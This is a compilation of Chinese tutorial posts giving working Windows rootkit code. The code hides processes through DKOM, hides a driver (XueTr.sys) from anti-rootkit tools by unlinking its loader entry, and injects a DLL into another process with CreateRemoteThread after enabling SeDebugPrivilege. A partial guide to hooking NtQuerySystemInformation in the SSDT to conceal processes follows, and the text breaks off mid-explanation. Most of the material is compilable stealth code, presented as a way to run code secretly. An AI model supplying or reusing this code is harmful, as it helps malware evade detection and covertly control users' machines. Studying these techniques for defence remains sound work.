精华内容
下载资源
问答
  • 实现程序在驱动层面的保护;分享一份用于隐藏进程及其线程的rootkit驱动程序源代码.
  • 驱动隐藏进程

    千次阅读 2007-06-01 17:22:00
    FU_rootkit中有很多功能,先看了隐藏进程,,和以前在群里讨论的一样,windows调度的是线程,所以可以把要隐藏的进程从进程链中去掉,并不影响进程中的线程的调度和运行. FU_rootkit中的方法是先通过PsGetCurrentProcess...
    FU_rootkit中有很多功能,先看了隐藏进程,,和以前在群里讨论的一样,windows调度的是线程,所以可以把要隐藏的进程从进程链中去掉,并不影响进程中的线程的调度和运行.
     FU_rootkit中的方法是先通过PsGetCurrentProcess(),(PsGetCurrentProcess returns a pointer to the process of the current thread.)得到当前进程的EPROCESS结构的指针,然后通过_LIST_ENTRY ActiveProcessLinks;在EPROCESS中的偏移遍历各个进程EPROCESS,找到pid符合的,就从链表中去掉
     
    
    case IOCTL_ROOTKIT_HIDEME:
      if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL))
      {
       IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
       break;
      }
    
      find_PID = *((DWORD *)InputBuffer);
      if (find_PID == 0x00000000)
      {
       IoStatus->Status = STATUS_INVALID_PARAMETER;
       break;
      }
      
      eproc = FindProcessEPROC(find_PID);
      if (eproc == 0x00000000)
      {
       IoStatus->Status = STATUS_INVALID_PARAMETER;
       break;
      }
      
      plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
      *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
      *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
     
       break;
    
    
    //
    // This function was originally written mostly in assembly language. Now let's
    // make it readable to the masses.
    DWORD FindProcessEPROC (int terminate_PID)
    {
     DWORD eproc       = 0x00000000; 
     int   current_PID = 0;
     int   start_PID   = 0; 
     int   i_count     = 0;
     PLIST_ENTRY plist_active_procs;
    
     
     if (terminate_PID == 0)
      return terminate_PID;
    
     eproc = (DWORD) PsGetCurrentProcess();
     start_PID = *((DWORD*)(eproc+PIDOFFSET));
     current_PID = start_PID;
    
     while(1)
     {
      if(terminate_PID == current_PID)
       return eproc;
      else if((i_count >= 1) && (start_PID == current_PID))
      {
       return 0x00000000;
      }
      else {
       plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
       eproc = (DWORD) plist_active_procs->Flink;
       eproc = eproc - FLINKOFFSET;
       current_PID = *((int *)(eproc+PIDOFFSET));
       i_count++;
      }
     }
    }
     
    展开全文
  • DKOM隐藏驱动

    2017-08-28 10:52:34
    DKOM(Direct Kernel Object Manipulation)就是直接内核对象操作技术。所有的操作系统都在内存中存储记账信息,他们通常采用结构或对象的形式,由对象管理...隐藏进程主要关注的windows关键数据结构是:进程的EPROCESS...

    DKOM(Direct Kernel Object Manipulation)就是直接内核对象操作技术。所有的操作系统都在内存中存储记账信息,他们通常采用结构或对象的形式,由对象管理器管理。当用户空间进程请求操作系统信息例如进程、线程或设备驱动程序列表时,这些对象被报告给用户。这些对象或结构位于内存中,因此可以直接对其进行修改。隐藏进程主要关注的windows关键数据结构是:进程的EPROCESS结构与线程的ETHREAD结构、链表(如进程、线程链表与CPU的调度链表)等等。DKOM通过操作这些数据结构来达到它们的目的。直接操作内核对象在隐藏进程这方面的应用很多。

    当服务控制管理器(SCM)加载一个驱动的时候, 就会生成一个DRIVER_OBJECT结构的对象.

    nt!_DRIVER_OBJECT
      +0x000 Type             : Int2B
      +0x002 Size             : Int2B
      +0x004 DeviceObject     : Ptr32_DEVICE_OBJECT
      +0x008 Flags            : Uint4B
      +0x00cDriverStart      : Ptr32 Void
      +0x010 DriverSize       : Uint4B
      +0x014 DriverSection    : Ptr32Void
      +0x018 DriverExtension  : Ptr32_DRIVER_EXTENSION
      +0x01cDriverName       : _UNICODE_STRING
      +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
      +0x028 FastIoDispatch   : Ptr32_FAST_IO_DISPATCH
      +0x02cDriverInit       : Ptr32     long 
      +0x030 DriverStartIo    :Ptr32     void 
      +0x034 DriverUnload     :Ptr32     void 
      +0x038 MajorFunction    : [28]Ptr32     long 
     
    其中的DriverSection中保存着一个指向KLDR_DATA_TABLE_ENTRY结构体的指针.
    这个结构体被用来保存驱动模块的一些信息.
    在WRK中的定义如下:
    typedef struct _KLDR_DATA_TABLE_ENTRY {
       LIST_ENTRY InLoadOrderLinks;
       PVOID ExceptionTable;
       ULONG ExceptionTableSize;
       PVOID GpValue;
       DWORD UnKnow;
       PVOIDDllBase;
       PVOID EntryPoint;
       ULONG SizeOfImage;
       UNICODE_STRING FullDllName;
       UNICODE_STRING BaseDllName;
       ULONG Flags;
       USHORT LoadCount;
       USHORT __Unused5;
       PVOID SectionPointer;
       ULONG CheckSum;
       PVOID LoadedImports;
       PVOID PatchInformation;
    } KLDR_DATA_TABLE_ENTRY,*PKLDR_DATA_TABLE_ENTRY;

    这个结构体中的第一个成员InLoadOrderLinks是一个LIST_ENTRY的结构. 这使得每个驱动模块被串在了一个双向链表中.我们只要遍历这条双向链就能枚举出所有的驱动模块.
    其中域DllBase 是驱动模块的加载基地址.
    FullDllName 是驱动模块的完整路径
    BaseDllName 是驱动模块的名称.
    遍历结果如下:
    名称:  2011-06-14_150303.png查看次数: 895文件大小:  12.6 KB

    因此, 如果我们要隐藏某个驱动, 只需将我们要隐藏的驱动名跟链表中的每个节点的驱动名比较. 一旦找到我们要隐藏的驱动, 则修改它的InLoadOrderLinks域的Flink和Blink的指针即可.
    图一: 修改前Flink和Blink指针的指向情况
    名称:  1.png查看次数: 886文件大小:  8.7 KB

    图二:修改后Flink和Blink指针的指向情况
    名称:  2.png查看次数: 885文件大小:  9.0 KB

    /*
     * 【作者:莫灰灰(LSG)】
     * 【空间:http://hi.baidu.com/hu3167343】
     */

    #include <ntddk.h>

    typedef unsigned long DWORD;

    typedef struct _KLDR_DATA_TABLE_ENTRY {
        LIST_ENTRY InLoadOrderLinks;
        PVOID ExceptionTable;
        ULONG ExceptionTableSize;
        PVOID GpValue;
        DWORD UnKnow;
        PVOID DllBase;
        PVOID EntryPoint;
        ULONG SizeOfImage;
        UNICODE_STRING FullDllName;
        UNICODE_STRING BaseDllName;
        ULONG Flags;
        USHORT LoadCount;
        USHORT __Unused5;
        PVOID SectionPointer;
        ULONG CheckSum;
        PVOID LoadedImports;
        PVOID PatchInformation;
    } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

    PDRIVER_OBJECT pDriverObject = NULL;

    VOID 
    HideDriver()
    {
        PKLDR_DATA_TABLE_ENTRY entry =(PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
        PKLDR_DATA_TABLE_ENTRY firstentry;
        UNICODE_STRING uniDriverName;
        
        firstentry = entry;

        // 初始化要隐藏驱动的驱动名
        RtlInitUnicodeString(&uniDriverName, L"XueTr.sys");
        
        while((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
        {
            if (entry->FullDllName.Buffer != 0)
            {    
                if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
                {
                    KdPrint(("隐藏驱动 %ws 成功!\n", entry->BaseDllName.Buffer));    
                    // 修改 Flink 和 Blink 指针, 以跳过我们要隐藏的驱动
                    *((DWORD*)entry->InLoadOrderLinks.Blink) = (DWORD)entry->InLoadOrderLinks.Flink;
                    entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;
                    
                    /* 
                        使被隐藏驱动LIST_ENTRY结构体的Flink, Blink域指向自己
                        因为此节点本来在链表中, 那么它邻接的节点驱动被卸载时, 
                        系统会把此节点的Flink, Blink域指向它相邻节点的下一个节点.
                        但是, 它此时已经脱离链表了, 如果现在它原本相邻的节点驱动被
                        卸载了, 那么此节点的Flink, Blink域将有可能指向无用的地址, 而
                        造成随机性的BSoD.
                    */
                    entry->InLoadOrderLinks.Flink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);
                    entry->InLoadOrderLinks.Blink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);

                    break;
                }
            }
            // 链表往前走
            entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
        }
    }

    NTSTATUS 
    UnloadDriver(
                 IN PDRIVER_OBJECT DriverObject
                 )
    {
        return STATUS_SUCCESS;
    }

    NTSTATUS 
    DriverEntry(
                IN PDRIVER_OBJECT DriverObject, 
                IN PUNICODE_STRING  RegistryPath
                )
    {
        DriverObject->DriverUnload = UnloadDriver;
        pDriverObject = DriverObject;
        HideDriver();
        return STATUS_SUCCESS;
    }


    摘了XueTr的驱动之后, 我们用ARK工具来看一下(XueTr 和 PT都是最新版).
    点击图片以查看大图图片名称: 3.png查看次数: 884文件大小: 77.5 KB文件 ID : 58002

    展开全文
  • Windows下的进程隐藏

    千次阅读 2007-05-16 23:34:00
    但是我们可以通过一些变通的办法来达到隐藏进程的目的,其中一个就是远程注入。简单的说就是先编写一个API的DLL,然后将这个DLL库注入到一个系统进程中,作为它的一个线程去执行。要实现DLL注入,首先需要打开目标...
    9X环境中Windows提供了想光的API函数用于隐藏系统进程。但是到了2000以上系统,已经无法真正的做到对于进程的隐藏,除非编写底层驱动。但是我们可以通过一些变通的办法来达到隐藏进程的目的,其中一个就是远程注入。简单的说就是先编写一个API的DLL,然后将这个DLL库注入到一个系统进程中,作为它的一个线程去执行。
    要实现DLL注入,首先需要打开目标进程。
    hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程
        PROCESS_VM_OPERATION | //允许远程VM操作
        PROCESS_VM_WRITE, //允许远程VM写
        FALSE, dwRemoteProcessId )
    由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
    如果进程打不开,以后的操作就别想了。进程打开后,就可以建立远线程了,不过别急,先想想这个远线程的线程函数是什么?我们的目的是注入一个DLL。而且我们知道用LoadLibrary可以加载一个DLL到本进程的地址空间。于是,自然会想到如果可以在目标进程中调用LoadLibrary,不就可以把DLL加载到目标进程的地址空间了吗?对!就是这样。远线程就在这儿用了一次,建立的远线程的线程函数就是LoadLibrary,而参数就是要注入的DLL的文件名。(这里需要自己想一想,注意到了吗,线程函数ThreadProc和LoadLibrary函数非常相似,返回值,参数个数都一样) 还有一个问题,LoadLibrary这个函数的地址在哪儿?也许你会说,这个简单,GetProcAddress就可以得出。于是代码就出来了。
    char *pszLibFileRemote="my.dll";
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
    CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
        但是不对!不要忘了,这是远线程,不是在你的进程里,而pszLibFileRemote指向的是你的进程里的数据,到了目标进程,这个指针都不知道指向哪儿去了,同样pfnStartAddr这个地址上的代码到了目标进程里也不知道是什么了,不知道是不是你想要的LoadLibraryA了。但是,问题总是可以解决的,Windows有些很强大的API函数,他们可以在目标进程里分配内存,可以将你的进程中的数据拷贝到目标进程中。因此pszLibFileRemote的问题可以解决了。
    char *pszLibFileName="my.dll";//注意,这个一定要是全路径文件名,除非它在系统目录里;原因大家自己想想。
    //计算DLL路径名需要的内存空间
    int cb = (1 + lstrlenA(pszLibFileName)) * sizeof(char);
    //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
    pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
    //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
    iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
        OK,现在目标进程也认识pszLibFileRemote了,但是pfnStartAddr好像不好办,我怎么可能知道LoadLibraryA在目标进程中的地址呢?其实Windows为我们解决了这个问题,LoadLibraryA这个函数是在Kernel32.dll这个核心DLL里的,而这个DLL很特殊,不管对于哪个进程,Windows总是把它加载到相同的地址上去。因此你的进程中LoadLibraryA的地址和目标进程中LoadLibraryA的地址是相同的(其实,这个DLL里的所有函数都是如此)。至此,DLL注入结束了。
     
    但是目前还有一个问题,上面的方法是无法将DLL注入到系统进程中去的,原因是进程级别不够。那么我们就要提升注入程序的进程级别。使用下面的函数:
    void EnableDebugPriv( void )
    {
     HANDLE hToken;
     LUID sedebugnameValue;
     TOKEN_PRIVILEGES tkp;
     if ( ! OpenProcessToken( GetCurrentProcess(),
      TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
      return;
     if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ){
      CloseHandle( hToken );
      return;
     }
     tkp.PrivilegeCount = 1;
     tkp.Privileges[0].Luid = sedebugnameValue;
     tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
      CloseHandle( hToken );
    }
     
     
     
    最后我们来做一个简单的例子:
    首先编写注入程序的代码
    // DLLAdd.cpp : Defines the entry point for the application.
    //
    #include "stdafx.h"
    #include "winnt.h"
    void EnableDebugPriv();
    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         int       nCmdShow)
    {
     EnableDebugPriv();
      // TODO: Place code here.
     HANDLE hRemoteProcess;
     HANDLE hRemoteThread;
     //PWSTR pszLibFileRemote;
     //LPCWSTR pszLibFileName;
     BOOL iReturnCode;
     char *pszLibFileRemote="RemoteDLL.dll";
     char *pszLibFileName="C://RemoteDLL.dll";//注意,这个一定要是全路径文件名,除非它在系统目录里
     hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD
            |PROCESS_VM_OPERATION
            |PROCESS_VM_WRITE,
            FALSE,0x3E0);//0x3E0是进程的id,测试时是explorer的进程id,可以用spy++去查找。
     //计算DLL路径名需要的内存空间
     int cb = (1 + lstrlenA(pszLibFileName)) * sizeof(char);
     //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
     pszLibFileRemote = (char *) VirtualAllocEx(hRemoteProcess, NULL, cb,
                MEM_COMMIT, PAGE_READWRITE);
     //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
     iReturnCode = WriteProcessMemory(hRemoteProcess,
        pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
     //计算LoadLibraryW的入口地址
     PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
              GetProcAddress(GetModuleHandle(TEXT("Kernel32")),
              "LoadLibraryA");
     //启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件
     hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
              pfnStartAddr, pszLibFileRemote, 0, NULL);

     return 0;
    }
     
    //提升权限
    void EnableDebugPriv( void )
    {
     HANDLE hToken;
     LUID sedebugnameValue;
     TOKEN_PRIVILEGES tkp;
     if ( ! OpenProcessToken( GetCurrentProcess(),
      TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
      return;
     if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ){
      CloseHandle( hToken );
      return;
     }
     tkp.PrivilegeCount = 1;
     tkp.Privileges[0].Luid = sedebugnameValue;
     tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
      CloseHandle( hToken );
    }
     
     

    然后编写需要注入的DLL的代码

    #include "stdafx.h"
    #include "winnt.h"
    #include <stdlib.h>
    BOOL APIENTRY DllMain( HANDLE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
          )
    {
     char szProcessId[64];
     int i=1;
     switch(ul_reason_for_call)
     {
     case DLL_PROCESS_ATTACH:
      {
       _itoa(GetCurrentProcessId(),szProcessId,10);
       MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
      }
     default:
      return TRUE;
     }
    }
     
    将编译好的dll放到C盘根目录下面运行注入程序。我们可以发现弹出了一个标示了被注入进程id的对话框。
     
    如上,只要我们再dll中编写我们需要的代码,就可以隐秘的在电脑里执行我们需要的事情。
     
    展开全文
  • 论文关键字:内核 拦截 活动进程链表 系统服务派遣表 线程调度链驱动程序简介 论文摘要:信息对抗是目前计算机发展的一个重要的方向,为了更好的防御,必须去深入的了解敌人进攻的招式。信息对抗促使信息技术...

    论文关键字: 内核 拦截 活动进程链表 系统服务派遣表 线程调度链 驱动程序简介   
      论文摘要:信息对抗是目前计算发展的一个重要的方向,为了更好的防御,必须去深入的了解敌人进攻的招式。信息对抗促使信息技术飞速的发展。下面我选取了信息对抗技术的中一个很小一角关于windows内核级病毒隐藏技术和反病毒侦测技术作为议题详细讨论。  
      1.为什么选驱动程序  
      驱动程序是运行在系统信任的Ring0环境下在代码,她拥有对系统任何软件和硬件的访问权限。这意味着内核驱动可以访问所有的系统资源,可以读取所有的内存空间,而且也被允许执行CPU的特权指令,如,读取CPU控制寄存器的当前值等。而处于用户模式下的程序如果试图从内核空间中读取一个字节或者试图执行像MOV EAX,CR3这样的汇编指令都会被立即终止掉。不过,这种强大的底线是驱动程序的一个很小的错误就会让整个系统崩溃。所以对隐藏和反隐藏技术来说都提供了一个极好的环境。但是又对攻击者和反查杀者提出了更高的技术要求。  
      2.入口例程DriverEntry  
      DriverEntry是内核模式驱动程序主入口点常用的名字,她的作用和main,WinMain,是一样的。  
      extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
      {...} 
      DriverEntry的第一个参数是一个指针,指向一个刚被初始化的驱动程序对象,该对象就代表你的驱动程序,DriverEntry的第二个参数是设备服务键的键名。DriverEntry函数返回一个NTSTATUS值。NTSTATUS实际就是一个长整型,但你应该使用NTSTATUS定义该函数的返回值而不是LONG,这样代码的可读性会更好。大部分内核模式支持例程都返回NTSTATUS状态代码,你可以在DDK头文件NTSTATUS.H中找到NTSTATUS的代码列表。  
      DriverEntry的作用主要就是创建设备对象,建立设备对象的符号链接,设置好各个类型的回调函数等。  
      例如:  
    extern "C"  
    NTSTATUS  
    DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)  
    {  
     DriverObject->DriverUnload = DriverUnload;                                                             <--1  
     DriverObject->DriverExtension->AddDevice = AddDevice;  
     DriverObject->DriverStartIo = StartIo;  
     DriverObject->MajorFunction[IRP_MJ_PNP] = DispatchPnp;                                        <--2  
     DriverObject->MajorFunction[IRP_MJ_POWER] = DispatchPower;  
     DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = DispatchWmi;  
     ...  
    }  
      在WDM中通过设置AddDevice回调函数来创建设备对象。在NT驱动中在DriverEntry例程中创建设备对象和符号链接。  
      例如:  
      RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); //初始化设备名字 
    //创建设备  
    ntStatus = IoCreateDevice (DriverObject,       
                                0,  
                                &deviceNameUnicodeString,  
                                ##DeviceId,  
                                0,  
                                FALSE,  
                                &deviceObject  
                                );  
    if ( NT_SUCCESS ( ntStatus ) )  {  
        RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); //初始化符号链接名字  
    //创建符号链接 
        ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString);
        if ( !NT_SUCCESS ( ntStatus ) ) {  
            IoDeleteDevice (deviceObject); //如果创建符号链接失败,删除设备 
                 return ntStatus;  
    }  
    }  
      建立符号链接的作用就是暴露一个给应用程序的接口,应用程序可以通过CreateFile API打开链接符号,得到一个语柄,和我们的驱动程序进行交互操作。 
      3.Unload例程  
      虽然各个驱动程序的Unload例程不尽相同,但是它大致执行下列工作:  
      释放属于驱动程序的任何硬件。  
      从Win32的名字空间移除符号连接名。  
      这个动作可以调用IoDeleteSymbolicLink来实现。  
      使用IoDeleteDevice移除设备对象。  
      释放驱动程序持有的任何缓冲池等。  
    VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject )  
    {  
    PDEVICE_OBJECT pNextObj;  
    // 循环每一个驱动过程控制的设备  
    pNextObj = pDriverObject->DeviceObject;  
    while (pNextObj != NULL)  
    {  
    //从设备对象中取出设备Extension  
    PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension;  
    // 取出符号连接名  
    UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;  
    IoDeleteSymbolicLink(&pLinkName); //删除符号连接名  
    IoDeleteDevice(pNextObj); // 删除设备  
    pNextObj = pNextObj->NextDevice;  
    }  
    }  
      4. 派遣例程  
      Win2000的I/O请求是包驱动的,当一个I/O请求开始,I/O管理器先创建一个IRP去跟踪这个请求,另外,它存储一个功能代码在IRP的I/O堆栈区的MajorField域中来唯一的标识请求的类型。MajorField域是被I/O管理器用来索引驱动程序对象的MajorFunction表,这个表包含一个指向一个特殊I/O请求的派遣例程的功能指针,如果驱动程序不支持这个请求,MajorFunction表就会指向I/O管理器函数_IopInvalidDeviceRequest,该函数返回一个错误给原始的调用者。驱动程序的作者有责任提供所有的驱动程序支持的派遣例程。所有的驱动程序必须支持IRP_MJ_CREATE功能代码,因为这个功能代码是用来响应Win32用户模式的CreateFile调用,如果不支持这功能代码,Win32程序就没有办法获得设备的句柄,类似的,驱动程序必须支持IRP_MJ_CLOSE功能代码,因为它用来响应Win32用户模式的CloseHandle调用。顺便提一下,系统自动调用CloseHandle函数,因为在程序退出的时候,所有的句柄都没有被关闭。  
     static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)  
    {  
        NTSTATUS status;  
        PIO_STACK_LOCATION irpSp;  
        //得到当前IRP (I/O请求包)  
        irpSp = IoGetCurrentIrpStackLocation( Irp );  
        switch (irpSp->MajorFunction)  
        {  
            case IRP_MJ_CREATE:  
                DbgPrint("IRP_MJ_CREATE\n");  
                Irp->IoStatus.Status = STATUS_SUCCESS;  
                Irp->IoStatus.Information = 0L;  
                break;  
            case IRP_MJ_CLOSE:  
                DbgPrint("IRP_MJ_CLOSE\n");  
                Irp->IoStatus.Status = STATUS_SUCCESS;  
                Irp->IoStatus.Information = 0L;  
                break;  
        }  
        IoCompleteRequest(Irp, 0);  
        return STATUS_SUCCESS;  
    }  
      大部分的I/O管理器的操作支持一个标准的读写提取,IRP_MJ_DEVICE_CONTROL允许扩展的I/O请求,使用用户模式的DeviceIoControl函数来调用,I/O管理器创建一个IRP,这个IRP的MajorFunction和IoControlCode是被DeviceIoControl函数指定其内容。传递给驱动程序的IOCTL遵循一个特殊的结构,它有32-bit大小,DDK包含一个方便的产生IOCTL值的机制的宏,CTL_CODE。可以使用CTL_CODE宏来定义我们自己的IOCTL。  
    例如:  
    #define IOCTL_MISSLEDEVICE_AIM  CTL_CODE \  
    ( FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY )  
     NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )  
    {  
        NTSTATUS status = STATUS_SUCCESS;       
        PDEVICE_EXTENSION pDE;  
        PVOID userBuffer;  
        ULONG inSize;  
        ULONG outSize;  
        ULONG controlCode;                 // IOCTL请求代码  
        PIO_STACK_LOCATION pIrpStack;   //堆栈区域存储了用户缓冲区信息  
         pIrpStack = IoGetCurrentIrpStackLocation( pIrp );  
        // 取出IOCTL请求代码  
        controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode;  
        // 得到请求缓冲区大小  
        inSize = pIrpStack-> Parameters.DeviceIoControl.InputBufferLength;  
        OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength;  
        //现在执行二次派遣  
        switch (controlCode)  
        {  
            case IOCTL_MISSLEDEVICEAIM:  
           ......  
            case IOCTL_DEVICE_LAUNCH:  
            ......  
            default:    // 驱动程序收到了未被承认的控制代码  
            status = STATUS_INVALID_DEVICE_REQUEST;  
        }  
        pIrp->IoStatus.Information = 0; // 数据没有传输  
        IoCompleteRequest( pIrp, IO_NO_INCREMENT ) ;       
        return status;  
    }  
      5.驱动程序的安装  
        SC管理器(即服务控制管理器)可以控制服务和驱动程序。  
        加载和运行一个服务需要执行的典型操作步骤:  
        1.调用OpenSCManager()以获取一个管理器句柄  
        2.调用CreateService()来向系统中添加一个服务  
        3.调用StartService()来运行一个服务  
        4.调用CloseServiceHandle()来释放管理器或服务句柄  
     BOOL    InstallDriver()  
    {  
        SC_HANDLE hSCManager = NULL;  
        hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);  
        if(hSCManager == NULL)  
        {  
    fprintf(stderr, "OpenSCManager() failed. --err: %d\n", GetLastError());  
            return FALSE;  
        }  
        SC_HANDLE schService;  
    schService = CreateService( hSCManager, //SCManager database  
                               "MyDriver",             // name of service  
                                "MyDriver",             // name to display  
                               SERVICE_ALL_ACCESS,     // desired access  
                               SERVICE_KERNEL_DRIVER,   // service type  
                                SERVICE_AUTO_START,    // start type  
                        SERVICE_ERROR_NORMAL, // error control type  
                                DriverPath,              // service’s binary  
                                NULL,                 // no load ordering group  
                                NULL,                    // no tag identifier  
                                NULL,                    // no dependencies  
                                NULL,                    // LocalSystem account  
                                NULL                     // no password  
                                );  
        if (schService == NULL)  
        {  
            if(GetLastError() == ERROR_SERVICE_EXISTS)  
            {  
                printf("Service has already installed!\n");  
            }  
            printf("Install driver false!");  
            return FALSE;  
        }  
        BOOL    nRet = StartService(schService, 0, NULL);  
        if(!nRet)  
        {  
          if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)  
            {  
                printf("Service is already running!\n");  
                return FALSE; }  
        }  
    CloseServiceHandle(schService);  
        CloseServiceHandle(hSCManager);  
        return TRUE;  
    }  
      以上对驱动程序大致框架做了一个非常简单的介绍,这仅仅是驱动程序中的一个”Hello World!”。驱动程序是相当复杂的,由于我们只是利用驱动程序的特权,对windows内核进行修改,所以就不对驱动驱动程序进行深入讨论了。  
      通过Hook SSDT (System Service Dispath Table) 隐藏进程  
      1.原理介绍: 
      Windows操作系统是一种分层的架构体系。应用层的程序是通过API来访问操作系统。而API又是通过ntdll里面的核心API来进行系统服务的查询。核心API通过对int 2e的切换,从用户模式转换到内核模式。2Eh中断的功能是通过NTOSKRNL.EXE的一个函数KiSystemService()来实现的。在你使用了一个系统调用时,必须首先装载要调用的函数索引号到EAX寄存器中。把指向参数区的指针被保存在EDX寄存器中。中断调用后,EAX寄存器保存了返回的结果。KiSystemService()是根据EAX的值来决定哪个函数将被调用。而系统在SSDT中维持了一个数组,专门用来索引特定的函数服务地址。在Windows 2000中有一个未公开的由ntoskrnl.exe导出的KeServiceDescriptorTable变量,我们可以通过它来完成对SSDT的访问与修改。KeServiceDescriptorTable对应于一个数据结构,定义如下:  
    typedef struct SystemServiceDescriptorTable 

        UINT    *ServiceTableBase; 
        UINT    *ServiceCounterTableBase; 
        UINT    NumberOfService; 
        UCHAR    *ParameterTableBase; 
    }SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;  
      其中ServiceTableBase指向系统服务程序的地址(SSDT),ParameterTableBase则指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元。在windows 2000 sp4中NumberOfService的数目是248个。  
      我们的任务管理器,是通过用户层的API来枚举当前的进程的。Ring3级枚举的方法:  
    • PSAPI  
    – EnumProcesses()  
    • ToolHelp32  
    – Process32First()  
    - Process32Next()  
      来对进程进行枚举。而她们最后都是通过NtQuerySystemInformation来进行查询的。所以我们只需要Hook掉NtQuerySystemInformation,把真实NtQuerySystemInformation返回的数进行添加或者是删改,就能有效的欺骗上层API。从而达到隐藏特定进程的目的。  
      2. Hook  
      Windows2000中NtQuerySystemInformation在SSDT里面的索引号是0x97,所以只需要把SSDT中偏移0x97*4处把原来的一个DWORD类型的读出来保存一个全局变量中然后再把她重新赋值成一个新的Hook函数的地址,就完成了Hook。  
    OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];  
    KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;  
      在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《Undocument Nt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl 导出的 ZwQuerySystemInformation中包含有索引号的硬编码:  
    kd> u ZwQuerySystemInformation  
    804011aa    b897000000      mov         eax,0x97  
    804011af    8d542404        lea         edx,[esp+0x4]  
    804011b3    cd2e            int         2e  
    804011b5    c21000          ret         0x10  
      所以只需要把ZwQuerySystemInformation入口处的第二个字节取出来就能得到相应的索引号了。例如:  
    ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);  
    RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]); 
    ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;  
      3.对NtQuerySystemInformation返回的数据进行删改  
    NtQuerySystemInformation的原型:  
    NtQuerySystemInformation(  
            IN ULONG SystemInformationClass,   //查询系统服务类型  
            IN PVOID SystemInformation,        //接收系统信息缓冲区  
         IN ULONG SystemInformationLength,   //接收信息缓冲区大小         OUT PULONG ReturnLength);       //实际接收到的大小  
